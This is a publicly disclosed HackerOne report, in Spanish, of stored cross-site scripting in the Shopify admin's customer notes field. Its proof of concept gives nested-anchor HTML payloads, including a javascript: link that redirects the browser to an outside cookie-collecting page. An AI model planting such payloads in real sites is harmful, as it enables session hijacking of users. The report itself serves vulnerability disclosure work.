Shopify · Report #798599

xss stored

Validstatus

75upvotes

3 Apr 2020disclosed

How it was found

Se encuentra un xss en las notas del cliente se requiere inicio de session, se encuentra en el campo notas de cliente

POC

https://macken22jorg.myshopify.com/admin/customers https://macken22jorg.myshopify.com/admin/customers/2901321318444

<h1>holaaaaaaa||<a href="http://<a href="http://<a href="http://<a href="javascript:alert(document.cookie)" onmouseover="javascript:alert(document.cookie)">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">gle.com</a> hhh <h1>holaaaaaaa||<a href="http://<a href="http://<a href="http://<a href="javascript:window.location='https://growncheckerworl.com/cookie.php?cookie=document.cookie'" >aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">gle.com</a> hhhk

Referencias:

https://www.imperva.com/learn/application-security/cross-site-scripting-xss-attacks/

Impact

captura de cookies

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original